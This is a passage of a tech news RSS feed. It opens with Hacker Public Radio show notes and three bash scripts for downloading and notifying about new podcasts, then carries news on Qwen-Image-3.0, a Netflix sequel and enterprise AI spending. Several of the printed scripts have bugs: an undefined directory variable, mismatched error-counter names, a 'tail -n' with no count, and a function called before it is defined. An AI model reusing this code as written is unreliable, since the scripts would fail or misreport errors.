In this case we are looking for "modify", "create", and "moved_to".</p>

<p>
Each of these does pretty much as you would expect, reacting to modifying an existing file, creating a new file, or moving a file to that directory.</p>

<p>

</p>

<p>
50 Problems When Testing Using Text Editors</p>

<p>
I should point out that if you are testing a script which uses inotifywait, then modifying a file with a text editor may not produce the results that you may think it would. </p>

<p>
Instead it treats this as a new file with the same name, with the original file being erased.</p>

<p>
Since inotifywait attaches itself to the inode rather than the filename, it sees the file that the text editor changed as being a new file.</p>

<p>
If you wish to test this realistically, then use "echo" to overwrite the file by using I/O redirection.</p>

<p>

</p>

<p>
51 Capturing Output</p>

<p>
In my example I capture the output from standard out into a variable, but I don't do anything with it.</p>

<p>
If you wish to for example display the name of the newly downloaded podcast file, then use the --format option along with an appropriate formatting code. </p>

<p>
There are details about this in the man page.</p>

<p>

</p>

<p>
On the next line we capture the exit code using "$?"</p>

<p>

</p>

<p>
52 Responding to Exit Codes</p>

<p>
If the exit code was zero, then a monitored event was triggered and there should a new podcast in the directory.</p>

<p>
In this case we display a message indicating that a new podcast has arrived.</p>

<p>
I will describe how to send notifications shortly. </p>

<p>

</p>

<p>
If the exit code was not zero, then an error occurred.</p>

<p>
An example of such an error would be if the directory were not present when monitoring was started.</p>

<p>
In this case we display a message indicating that a fatal error has occurred and then exit.</p>

<p>

</p>

<p>
53 Delay for More Podcasts</p>

<p>
Finally, we use "sleep" to wait for some arbitrary period of time to prevent notifications from being triggered multiple times if several podcasts were being downloaded in succession.</p>

<p>
In this case I chose to wait for 60 seconds.</p>

<p>

</p>

<p>
54</p>

<p>
We have now completed the process and can return to the top of the loop and resume waiting using inotifywait.</p>

<p>

</p>

<p>
55 Sending Notifications to the User</p>

<p>
I mentioned above about sending notification messages to the user.</p>

<p>
In the Gnome desktop, notification messages appear from the centre of the top bar in a list.</p>

<p>
Other desktops or operating systems may have something similar.</p>

<p>

</p>

<p>
56</p>

<p>
To send a notification message to the notification area, you use the "notify-send" command.</p>

<p>
Simply follow notify-send with a quoted string and it will be displayed in the notification area. </p>

<p>

</p>

<p>

</p>

<p>
57 podfetcherrornotify</p>

<p>
The second shell script is one which notifies the user of errors.</p>

<p>
I will call this "podfetcherrornotify".</p>

<p>
With this shell script we set up a watch on a file which contains any error messages from podfetch.</p>

<p>
This script is very similar to podfetchnotify.</p>

<p>

</p>

<p>
58</p>

<p>
The exceptions are</p>

<p>
With inotifywait we only monitor for "modify".</p>

<p>
There is no sleep command at the end of the loop.</p>

<p>
Instead we sleep for a few seconds just after getting the exit code from inotifywait.</p>

<p>
This helps prevent problems caused by race conditions.</p>

<p>

</p>

<p>
59</p>

<p>
Next we check the inotifywait exit code.</p>

<p>
If it was zero, then we read the error report file and send a notification message to the user containing that error message.</p>

<p>

</p>

<p>
60</p>

<p>
If it was not zero, then we check to make sure that the directory that should contain the error log exists.</p>

<p>
If it does not exist, then we send a notification message to that effect to the user and terminate the script.</p>

<p>

</p>

<p>
61</p>

<p>
If the directory exists, then we check to see if the error message file used for signalling exists.</p>

<p>
If the file does not exist, then we create it.</p>

<p>

</p>

<p>
62</p>

<p>
One of the reasons for an inotifywait error is that if the file that it is told to monitor does not exist, it cannot set up a watch condition.</p>

<p>
By creating the file we correct the cause of the error and allow  inotifywait to operate normally.</p>

<p>

</p>

<p>
63</p>

<p>
Finally we increment an error counter and check to see if the limit is exceeded.</p>

<p>
If there are excessive errors, then send a notification message to the user and exit.</p>

<p>
The reason for this is to give the user an indication that the error notifications are not working for some reason and there may be a problem that needs looking into.</p>

<p>

</p>

<p>
64</p>

<p>
The error counter is reset every time the inotifywait exit status is ok, so occasional unexpected glitches should be something that is ignored.</p>

<p>
Of course podcast fetching errors are something that will probably happen only rarely if at all, so this final step may be seen as an unnecessary embellishment. </p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
65 Installing the Scripts</p>

<p>

</p>

<p>
Next I will describe how to install and prepare the scripts to run.</p>

<p>
We need to perform the following steps.</p>

<p>

</p>

<p>
66</p>

<p>
• First, we need to create a directory to hold the scripts and their associated data files.</p>

<p>
• Next we need to create a directory to hold the downloaded podcasts.</p>

<p>
• Then we must copy the scripts to these directories and make them executable. </p>

<p>
• Then, we must edit the scripts to have the file path in the script match the locations of the new directories that we created.</p>

<p>

</p>

<p>
67</p>

<p>
• Then we need to install xmllint, or alternatively modify the download script to comment out the use of xmllint and enable the alternative method using grep and sed instead.</p>

<p>
• Then we need to run each script manually from the command line to check for errors.</p>

<p>
• If podfetch ran correctly, it should download the most recent 10 podcasts during this test.</p>

<p>

</p>

<p>
68 Adding podfetch to the Crontab</p>

<p>
The above describes how to run the scripts manually.</p>

<p>
In order to fetch podcasts automatically, we need to add the podfetch script to the cron schedule.</p>

<p>
To do this, open a terminal.</p>

<p>

</p>

<p>
69</p>

<p>
Type "crontab -e", and then press return.</p>

<p>
A text editor should open up containing the crontab file.</p>

<p>
On Ubuntu, this editor is GNU nano.</p>

<p>
Enter the appropriate cron parameters.</p>

<p>
I will provide an example here for running it 12 minutes past the hour every three hours.</p>

<p>

</p>

<p>
70</p>

<p>
12 */3 * * *  /home/username/pathtofiles/podfetch.sh</p>

<p>

</p>

<p>
71</p>

<p>
I won't explain cron in detail here.</p>

<p>
The example that I have just given should be good enough for most people.</p>

<p>
The "*/3" parameter will cause it to run every three hours.</p>

<p>
The "12" parameter will cause it to run 12 minutes past the hour when it does run.</p>

<p>

</p>

<p>
72</p>

<p>
Checking every three hours should be good enough for most people, but you can adjust that as you see fit.</p>

<p>
I would recommend however that you don't check more frequently than once per hour.</p>

<p>
Checking more frequently than necessary puts extra load on the distribution servers. </p>

<p>
It is very unlikely that you really do need each new episode the moment it is available. </p>

<p>

</p>

<p>
73</p>

<p>
I would also recommend changing the "12" parameter to some other random minute value.</p>

<p>
I would suggest avoiding on the hour or on the half hour, as a lot of other people are probably checking at those times, and it would be better to spread the load out more evenly over time.</p>

<p>

</p>

<p>
74</p>

<p>
The file path parameter should of course match the actual path to wherever you have located the script, including the correct user name.</p>

<p>

</p>

<p>
75 Making the Notification Scripts Start Automatically</p>

<p>
The two notification scripts can be made to start automatically.</p>

<p>
The exact method to do this may vary according to distribution or desktop.</p>

<p>

</p>

<p>
76</p>

<p>
On Ubuntu this is done using the Startup Applications Preferences GUI program, which should come already installed.</p>

<p>

</p>

<p>
77</p>

<p>
I won't go into details on this here, it should be fairly self evident how to use it once you see it.</p>

<p>
What this program does is to create ".desktop" files in the ".config/autostart" directory in your home directory.</p>

<p>

</p>

<p>
78</p>

<p>
These ".desktop" files are all run automatically on start up.</p>

<p>
Once you have added the notification scripts, you will need to log out and then log back in to make them active.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
79 Conclusion</p>

<p>

</p>

<p>
I this episode I explained how to write a set of simple shell scripts to automatically download each new episode of HPR as it comes out and to notify you of its arrival. </p>

<p>

</p>

<p>
80</p>

<p>
The download script described here is tailored specifically for use with HPR only.</p>

<p>
However, it was derived from a larger script that downloaded other podcasts as well, based on information read in from a text file.</p>

<p>
If you are feeling ambitious, you can add those features back into this to handle all of the podcasts that you listen to.</p>

<p>

</p>

<p>
81</p>

<p>
In a comment to another episode of HPR I had said that I would cover ID3 tags in MP3 files, but this episode is long enough now, so I will leave that subject for later.</p>

<p>

</p>

<p>
I look forward to seeing you again later on another episode of Hack Public Radio.</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
podfetchdownloader</p>

<p>

</p>

<p>
#!/bin/bash</p>

<p>

</p>

<p>
# Fetch pending HPR podcasts listed in the HPR RSS feed.</p>

<p>
# 8-Jun-2026</p>

<p>
# Licensed under GPLv3 or later.</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>

</p>

<p>
# Today's date and time as YYYYMMDDHHMMSS. </p>

<p>
podttimestamp=$( date +"%Y%m%d%H%M%S" )</p>

<p>

</p>

<p>
# The absolute path to the script. This is necessary when running it</p>

<p>
# using a cron job.</p>

<p>
podpath="/home/me/Apps/hprfetch"</p>

<p>

</p>

<p>
# This is the absolute path to where to store the podcast files.</p>

<p>
podfilepath="/home/me/Music/Podcasts/HPR"</p>

<p>

</p>

<p>
# Create the full path names here for all the text files used.</p>

<p>
podcastsfetched="$podpath/podcastsfetched.txt"</p>

<p>
poderrorslog="$podpath/poderrorslog.txt"</p>

<p>
poderrorsreport="$podpath/poderrorsreport.txt"</p>

<p>

</p>

<p>
tmpoldurlssorted="$podpath/tmpoldurlssorted.txt"</p>

<p>
tmppodsnew="$podpath/tmppodsnew.txt" </p>

<p>
tmppodstodownload="$podpath/tmppodstodownload.txt" </p>

<p>
tmppodserrors="$podpath/tmppodserrors.txt" </p>

<p>
tmppodcastsfetched="$podpath/tmppodcastsfetched.txt"</p>

<p>
tmplog="$podpath/tmplog.txt"</p>

<p>

</p>

<p>
# The URL for the HPR RSS feed.</p>

<p>
PodURL="http://hackerpublicradio.org/hpr_rss.php"</p>

<p>

</p>

<p>
# Limit on number of podcasts to download.</p>

<p>
DownloadLimit=11</p>

<p>

</p>

<p>
# Name of the podcast.</p>

<p>
PodName="Hacker Public Radio"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Check if the required paths exist.</p>

<p>
# If this path does not exist, cannot log the error.</p>

<p>
if [[ ! -d "$podpath/" ]]; then</p>

<p>
	echo "$podttimestamp Error - Could not find $podfilepath."</p>

<p>
	exit 1</p>

<p>
fi</p>

<p>

</p>

<p>
# Where to store the podcast file fetched.</p>

<p>
if [[ ! -d "$podfilepath/" ]]; then</p>

<p>
	echo "$podttimestamp Error - Could not find $podfilepath." &gt;&gt; $tmppodserrors</p>

<p>
	# Copy the errors log from the temporary errors file to the permanent files.</p>

<p>
	LogErrors</p>

<p>
	exit 1</p>

<p>
fi</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Check if the podcast log exists. We read it before we write to it,</p>

<p>
# so it must exist or we will hang on it not being present.</p>

<p>
if [[ ! -e $podcastsfetched ]]; then</p>

<p>
	touch $podcastsfetched</p>

<p>
fi</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Delete the specified files if they exist.</p>

<p>
# This accepts multiple file names in a variable number of parameters.</p>

<p>
CleanupFiles ()</p>

<p>
{</p>

<p>
	# $@ accepts multiple parameters.</p>

<p>
	for f in "$@"; do</p>

<p>
		# Check if the file exists.</p>

<p>
		if [ -e "$f" ]; then</p>

<p>
			rm "$f"</p>

<p>
		fi</p>

<p>
	done</p>

<p>
}</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Copy the errors log from the temporary errors file to the permanent files.</p>

<p>
LogErrors () {</p>

<p>
	if [ -e $tmppodserrors ]; then</p>

<p>
		# The permanent log.</p>

<p>
		cat $tmppodserrors &gt;&gt; $poderrorslog</p>

<p>
		# This file is monitored for display by other scripts.</p>

<p>
		cat $tmppodserrors &gt; $poderrorsreport</p>

<p>
	fi</p>

<p>
}</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>

</p>

<p>
# Get the URL data from an RSS feed</p>

<p>
GetRSSURLData () {</p>

<p>

</p>

<p>
	wget --timeout=20 --tries=3 -O - "$PodURL" \</p>

<p>
	| xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2 \</p>

<p>
	| sort &gt; $tmppodsnew</p>

<p>

</p>

<p>
	# This is an alternate method that does not use xmllint.</p>

<p>
	# However, it is not as robust. If someone were to include the</p>

<p>
	# first grep search pattern in their show notes, then it would</p>

<p>
	# look for that as a valid tag and output the following text</p>

<p>
	# as a URL.</p>

<p>
	#wget --timeout=20 --tries=3 -O - "$PodURL" | grep "&lt;enclosure url=" \</p>

<p>
	#	| sed -n 's/^.*enclosure//p' | sed -n 's/^.*url=//p' \</p>

<p>
	#	| cut -d'"' -f2 | sort &gt; $tmppodsnew</p>

<p>

</p>

<p>

</p>

<p>
}</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Find which podcasts we do not already have.</p>

<p>
FindNewPodcasts () {</p>

<p>

</p>

<p>

</p>

<p>
	cat $podcastsfetched | sort &gt; $tmpoldurlssorted</p>

<p>
	comm -13 $tmpoldurlssorted $tmppodsnew &gt; $tmppodstodownload</p>

<p>

</p>

<p>
	rm $tmpoldurlssorted</p>

<p>

</p>

<p>
}</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Download the podcasts.</p>

<p>
DownloadPodcasts() {</p>

<p>

</p>

<p>
	# Clear out previous temporary list of downloaded podcasts.</p>

<p>
	true &gt; $tmppodcastsfetched</p>

<p>

</p>

<p>

</p>

<p>
	for i in $( cat $tmppodstodownload )</p>

<p>
	do</p>

<p>

</p>

<p>
		# Extract the file name from the URL.</p>

<p>
		fname=$( basename $i )</p>

<p>
		outputpodname="$podfilepath/$fname"</p>

<p>

</p>

<p>
		# Download the file.</p>

<p>
		wget --timeout=90 --tries=3 -P $podfilepath $i -O "$outputpodname"</p>

<p>

</p>

<p>
		# Check if the file exists and is not empty.</p>

<p>
		if [[ -s "$outputpodname" ]]; then</p>

<p>
			echo $i &gt;&gt; $tmppodcastsfetched</p>

<p>
		else</p>

<p>
			echo "$podttimestamp Error - $outputpodname was not found or is empty." &gt;&gt; $tmppodserrors</p>

<p>
		fi</p>

<p>

</p>

<p>

</p>

<p>
		# Delay a reasonable length of time between multiple downloads.</p>

<p>
		if (( $PodCount &gt; 1 )); then </p>

<p>
			sleep 3</p>

<p>
		fi</p>

<p>

</p>

<p>
	done</p>

<p>

</p>

<p>
	# Add the list of files downloaded to the log.</p>

<p>
	# Check if the list exists and is not empty.</p>

<p>
	if [ -s $tmppodcastsfetched ]; then</p>

<p>
		cat $tmppodcastsfetched &gt;&gt; $podcastsfetched</p>

<p>
		# Trim the log file to keep it from growing indefinitely.</p>

<p>
		tail -n50 $podcastsfetched &gt; $tmplog</p>

<p>
		mv $tmplog $podcastsfetched</p>

<p>
	fi</p>

<p>

</p>

<p>
	# Remove the tmp file now that we are done with it.</p>

<p>
	rm $tmppodcastsfetched</p>

<p>

</p>

<p>
}</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Clean up any left over files.</p>

<p>
CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"</p>

<p>

</p>

<p>

</p>

<p>
# Get the RSS data.</p>

<p>
GetRSSURLData</p>

<p>

</p>

<p>
# Find which podcasts are new.</p>

<p>
FindNewPodcasts</p>

<p>

</p>

<p>
# Count how many new podcasts there are.</p>

<p>
PodCount=$( cat $tmppodstodownload | wc -l )</p>

<p>

</p>

<p>

</p>

<p>
# If no podcasts to download, skip this.</p>

<p>
# If too many podcasts for this feed, then log an error and skip.</p>

<p>
# This error will keep repeating until something is done about it.</p>

<p>
if (( $PodCount &gt; 0 )); then </p>

<p>
	if (( $PodCount &gt; $DownloadLimit )); then </p>

<p>
		echo "$podttimestamp Too many podcasts for $PodName : $PodCount." &gt;&gt; $tmppodserrors		</p>

<p>
	else</p>

<p>
		# Download the podcasts listed in the temp file.</p>

<p>
		DownloadPodcasts</p>

<p>
	fi</p>

<p>
fi</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Copy the errors log from the temporary errors file to the permanent files.</p>

<p>
LogErrors</p>

<p>

</p>

<p>
# Clean up temp files.</p>

<p>
CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
END OF FIRST SHELL SCRIPT</p>

<p>

</p>

<p>

</p>

<p>
START OF SECOND SHELL SCRIPT</p>

<p>

</p>

<p>
podfetchnotify</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
#!/bin/bash</p>

<p>

</p>

<p>
# Part of Podfetch.</p>

<p>
# This monitors for new files appearing in the new podcasts directory.</p>

<p>
# This should be run as a background task.</p>

<p>
# Install it using the "Startup Applications" utility in Ubuntu.</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Path where new podcasts are to be stored.</p>

<p>
podfilepath="/home/me/Music/Podcasts/HPR"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Wait for the podcast directory to be modified.</p>

<p>
while true; do</p>

<p>

</p>

<p>
	# Check for new files.</p>

<p>
	errmsg=$( inotifywait -e modify -e create -e moved_to $podfilepath )</p>

<p>
	result=$?</p>

<p>

</p>

<p>

</p>

<p>
	# Check if exited due to new podcast, or if some error.</p>

<p>
	if (( result == 0 )); then</p>

<p>
		# Success, signal new podcast.</p>

<p>
		notify-send "New HPR podcast available."</p>

<p>
	else</p>

<p>
		# Check to make sure the directory exists.</p>

<p>
		# If it doesn't exist, there isn't much we can do to fix it.</p>

<p>
		if [ ! -e "$poderrorspath" ]; then</p>

<p>
			notify-send "Podfetch error: Podcast directory not found $poderrorspath"</p>

<p>
			exit 1</p>

<p>
		fi</p>

<p>
	fi</p>

<p>

</p>

<p>
	# Wait a bit so that multiple new files don't keep re-triggering the notification.</p>

<p>
	sleep 60</p>

<p>

</p>

<p>
done</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
END OF SECOND SHELL SCRIPT</p>

<p>

</p>

<p>

</p>

<p>
START OF THIRD SHELL SCRIPT</p>

<p>

</p>

<p>
podfetcherror</p>

<p>
Created Tuesday 23 June 2026</p>

<p>

</p>

<p>
#!/bin/bash</p>

<p>

</p>

<p>
# Part of Podfetch.</p>

<p>
# This monitors the Podfetch error reporting file for new errors.</p>

<p>
# This should be run as a background task.</p>

<p>
# Install it using the "Startup Applications" utility in Ubuntu.</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Where the Podfetch program error report file is located.</p>

<p>
poderrorspath="/home/me/Apps/hprfetch"</p>

<p>

</p>

<p>
# The full path and file name.</p>

<p>
poderrorsreport="$poderrorspath/poderrorsreport.txt"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Error counter.</p>

<p>
errcount=0</p>

<p>

</p>

<p>
# Wait for the poderrorsreport file to be modified.</p>

<p>
while true; do</p>

<p>

</p>

<p>
	errmsg=$( inotifywait -e modify $poderrorsreport )</p>

<p>
	result=$?</p>

<p>

</p>

<p>
	# Wait a bit to ensure that writing to the file is complete.</p>

<p>
	sleep 3</p>

<p>

</p>

<p>
	if (( result == 0 )); then</p>

<p>
		# Get the latest error message.</p>

<p>
		# Cut out the date stamp at the start of the line and take the rest.</p>

<p>
		poderr=$( tail -n $poderrorsreport | cut -d" " -f2- )</p>

<p>

</p>

<p>
		notify-send "Podfetch error: $poderr"</p>

<p>

</p>

<p>
		# Reset the error counter every time there is a successful result.</p>

<p>
		errcount=0</p>

<p>

</p>

<p>
	else</p>

<p>
		# Check to make sure the directory exists.</p>

<p>
		if [ ! -e "$poderrorspath" ]; then</p>

<p>
			notify-send "Podfetch error: error report path not found $poderrorspath"</p>

<p>
			exit 1</p>

<p>
		fi</p>

<p>

</p>

<p>
		# Check if the file we are trying to monitor exists.</p>

<p>
		# If not, then create an empty file for error signaling.</p>

<p>
		if [ ! -e "$poderrorsreport" ]; then</p>

<p>
			echo &gt; $poderrorsreport</p>

<p>
		fi</p>

<p>

</p>

<p>
		# Increment the error counter.</p>

<p>
		count=$(( count + 1 ))</p>

<p>
		if (( count &gt; 3 )); then</p>

<p>
			notify-send "Podfetch error: Excessive unknown errors, exiting."</p>

<p>
			exit 1</p>

<p>
		fi</p>

<p>

</p>

<p>
	fi</p>

<p>

</p>

<p>
done</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4688/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Alibaba's Qwen-Image-3.0 renders full infographic grids and readable ten-pixel text in a single pass]]></title>
<description><![CDATA[Alibaba's Qwen team has introduced Qwen-Image-3.0, an image generator that accepts prompts up to 4,500 tokens, renders legible text as small as ten pixels, and supports twelve languages natively. It can create complex layouts such as infographics, LaTeX papers, and newspaper pages in a single pas...]]></description>
<link>https://tsecurity.de/de/3684305/ai-nachrichten/alibabas-qwen-image-30-renders-full-infographic-grids-and-readable-ten-pixel-text-in-a-single-pass/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684305/ai-nachrichten/alibabas-qwen-image-30-renders-full-infographic-grids-and-readable-ten-pixel-text-in-a-single-pass/</guid>
<pubDate>Tue, 21 Jul 2026 18:06:12 +0200</pubDate>
<content:encoded><![CDATA[<p><img width="1920" height="1089" src="https://the-decoder.com/wp-content/uploads/2026/07/qwen-image-3-banner.jpg" class="attachment-full size-full wp-post-image" alt='Banner featuring the Qwen logo and the text "Qwen-Image-3.0," a multilingual text background arranged in a wave pattern, and a bear in a wooden boat.' decoding="async" fetchpriority="high"></p>
<p>        Alibaba's Qwen team has introduced Qwen-Image-3.0, an image generator that accepts prompts up to 4,500 tokens, renders legible text as small as ten pixels, and supports twelve languages natively. It can create complex layouts such as infographics, LaTeX papers, and newspaper pages in a single pass, though their practical value is unclear when the output is a pixel image rather than an editable format.</p>
<p>The article <a href="https://the-decoder.com/alibabas-qwen-image-3-0-renders-full-infographic-grids-and-readable-ten-pixel-text-in-a-single-pass/">Alibaba's Qwen-Image-3.0 renders full infographic grids and readable ten-pixel text in a single pass</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Alan Ritchson’s Netflix Sequel Officially Revealed as War Machines]]></title>
<description><![CDATA[Alan Ritchson’s hit Netflix sci-fi movie War Machine is officially moving toward a sequel, and the follow-up now has a title. The second movie will be called War Machines, adding one important letter that hints at a much larger threat.



War Machines Title Confirmed







The title appeared in ...]]></description>
<link>https://tsecurity.de/de/3684264/ios-mac-os/alan-ritchsons-netflix-sequel-officially-revealed-as-war-machines/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684264/ios-mac-os/alan-ritchsons-netflix-sequel-officially-revealed-as-war-machines/</guid>
<pubDate>Tue, 21 Jul 2026 17:59:52 +0200</pubDate>
<content:encoded><![CDATA[Alan Ritchson’s hit Netflix sci-fi movie War Machine is officially moving toward a sequel, and the follow-up now has a title. The second movie will be called War Machines, adding one important letter that hints at a much larger threat.



War Machines Title Confirmed







The title appeared in a social media post featuring a black-and-white photograph of the sequel’s script. The image slowly focused on the final “S,” confirming that the new movie will expand beyond the single alien machine featured in the original story.



The name follows a familiar sci-fi sequel pattern, similar to how Alien became Aliens. It also suggests that Ritchson’s character, Staff Sergeant 81, will face several deadly machines when the story continues.



Patrick Hughes and James Beaufort are writing the sequel. Hughes previously directed and co-wrote the first movie, which followed a group of Army Ranger candidates fighting a powerful alien machine during a training exercise.



Alan Ritchson Celebrates the Sequel



Ritchson previously thanked viewers for supporting War Machine and confirmed that he was preparing to return as 81. He described the first movie as the beginning of a much bigger world and suggested that the sequel would raise the scale considerably.



The sequel remains in development, and Netflix has not announced a filming date, full cast list, plot summary, or release date. Production listings indicate that the project will once again involve companies connected to the first film, including Lionsgate and Patrick Hughes’ production partners.



War Machine Was a Huge Netflix Hit



War Machine arrived on Netflix on March 6, 2026, and became the platform’s most-watched film during the first half of the year. It recorded 146.9 million views, finishing ahead of other major Netflix releases.



With the official War Machines title now revealed, more production and casting updates should follow as the sequel moves closer to filming.]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI allocation trap: Record spend, vanishing returns]]></title>
<description><![CDATA[In a single month, one enterprise reportedly spent half a billion dollars on AI. A consultant told Axios that the client had handed its workforce AI licenses, set no usage limits and let the meter run until finance noticed. The figure is spectacular, and it is the wrong thing to fear. That half-b...]]></description>
<link>https://tsecurity.de/de/3683786/it-nachrichten/the-ai-allocation-trap-record-spend-vanishing-returns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683786/it-nachrichten/the-ai-allocation-trap-record-spend-vanishing-returns/</guid>
<pubDate>Tue, 21 Jul 2026 15:18:28 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In a single month, one enterprise reportedly spent half a billion dollars on AI. A consultant <a href="https://www.axios.com/2026/05/28/ai-spending-roi-enterprise-costs">told Axios</a> that the client had handed its workforce AI licenses, set no usage limits and let the meter run until finance noticed. The figure is spectacular, and it is the wrong thing to fear. That half-billion-dollar accident is only the visible part of a quieter, far larger failure. <a href="https://www.gartner.com/en/newsroom/press-releases/2026-1-15-gartner-says-worldwide-ai-spending-will-total-2-point-5-trillion-dollars-in-2026">Worldwide AI spending is forecast to reach $2.52 trillion in 2026</a>, more than any technology category in a generation, and by the most cited measure, roughly 95 percent of it returns nothing. Boards read that as proof that the technology does not work. The evidence points somewhere less comfortable, and it is not a technology problem at all. Most boards cannot see it because they are reading the wrong number: They track failure when the number that matters is allocation. The discipline that separates the winners is not technical. It is how they allocate capital across time, and how willing they are to stop. The hardest discipline in the AI era is not adopting faster. It is allocating honestly and refusing to judge a three-year bet on a six-month cycle.</p>



<h2 class="wp-block-heading">The number everyone quotes, and no one acts on</h2>



<p class="wp-block-paragraph">The headline statistic is now familiar. MIT’s Project NANDA, in its 2025 study <a href="https://fortune.com/2025/08/18/mit-report-95-percent-generative-ai-pilots-at-companies-failing-cfo/">The GenAI Divide</a>, found that about 95 percent of enterprise generative AI pilots produced no measurable impact on the P&amp;L, while roughly 5 percent captured nearly all the value. <a href="https://www.spglobal.com/market-intelligence/en/news-insights/research/2025/10/generative-ai-shows-rapid-growth-but-yields-mixed-results">S&amp;P Global Market Intelligence</a> found that the share of companies abandoning most of their AI initiatives jumped from 17 percent to 42 percent in a single year, with the average organization scrapping 46 percent of its proofs-of-concept before production. <a href="https://www.gartner.com/en/newsroom/press-releases/2025-06-25-gartner-predicts-over-40-percent-of-agentic-ai-projects-will-be-canceled-by-end-of-2027">Gartner</a> expects more than 40 percent of agentic AI projects to be canceled by the end of 2027, citing escalating costs, unclear business value and inadequate risk controls. And the pattern predates generative AI: <a href="https://www.rand.org/pubs/research_reports/RRA2680-1.html">RAND</a> found that more than 80 percent of AI projects fail, roughly twice the rate of comparable work that does not involve AI.</p>



<p class="wp-block-paragraph">Read as a technology story, these numbers say AI does not work. Read correctly, they say something more useful. MIT’s own authors located the cause not in model quality but in a <a href="https://virtualizationreview.com/articles/2025/08/19/mit-report-finds-most-ai-business-investments-fail-reveals-genai-divide.aspx">learning and integration gap</a>. The winners were not running better models. They picked one problem, executed and worked well together. Purchased solutions reached production about 67 percent of the time, while internal builds succeeded roughly a third as often. <a href="https://www.gartner.com/en/newsroom/press-releases/2025-03-31-gartner-forecasts-worldwide-genai-spending-to-reach-644-billion-in-2025">Gartner’s own spending forecast</a> notes the same pivot, with CIOs scaling back ambitious internal builds in favor of commercial solutions that promise more predictable value. None of that is a verdict on the technology. It is a verdict on allocation: What gets funded, for how long and against which yardstick. The popular prescription, heard in every boardroom this year, is to measure harder and prove value sooner. That advice quietly repeats the mistake, because forcing a three-year bet to prove itself sooner is precisely how you kill it. The fix is not more measurement. It is measuring each bet against the right clock and subtracting the ones that miss.</p>



<h2 class="wp-block-heading">The six-month cycle problem</h2>



<p class="wp-block-paragraph">Return to that 95 percent, because the way it is measured is the whole argument. Much of the reported failure is judged on a short clock, with a pilot counted as a failure if it has not shown a measurable financial return within roughly six months. The single most quoted number in enterprise AI is therefore a six-month yardstick applied to every initiative, including the bets designed to pay back in three years. The headline failure rate is not only a measure of AI. It is a measure of impatience.</p>



<p class="wp-block-paragraph">The most expensive mistake in enterprise AI is a timing error. Enterprises have been spending heavily on AI for more than two years, and 2026 is the year boards are demanding returns. The multi-year bets funded during the 2024 and 2025 scale-up are only now far enough along to be judged. When a board reviews an initiative, it applies the yardstick it knows, which is quarterly return. That yardstick is correct for an efficiency project and ruinous for a capability bet. A workflow automation that should pay back in two quarters and a foundational data and agent capability that pays back in three years are not the same instrument, yet they are reviewed in the same meeting against the same metric.</p>



<p class="wp-block-paragraph">This is the heart of the divide. The 5 percent did not simply pick better projects. They judged each project against its own horizon. McKinsey’s enduring <a href="https://www.mckinsey.com/capabilities/strategy-and-corporate-finance/our-insights/enduring-ideas-the-three-horizons-of-growth">Three Horizons model</a> made this discipline standard in corporate strategy a generation ago: near-term, emerging and long-term bets are funded and measured differently. AI erased that discipline because the hype compressed every timeline into the current quarter. The result is two failure modes that appear opposite yet share a common root. Organizations kill three-year bets at month six because they miss a metric the bet was never designed to hit. And they keep funding six-month theater for years because it is visible, safe and never asked to prove a return. Both are allocation failures. Neither is a technology failure.</p>



<h2 class="wp-block-heading">Subtraction is a strategy</h2>



<p class="wp-block-paragraph">There is a second discipline, the 5 percent share, and it is the one boards find hardest. They subtract. Every credible study of the failure rate describes the same chaotic pattern underneath it: Initiatives are <a href="https://www.ciodive.com/news/AI-project-fail-data-SPGlobal/742590/">abandoned late, without criteria</a>, after the money is spent and the credibility is gone. Disciplined organizations do the opposite. They decide the conditions for stopping before they start, and they stop on schedule. Subtraction is not the absence of strategy. It is the strategy. Capital removed from a failing bet is capital available for a surviving one, and the survivors are where the entire return lives.</p>



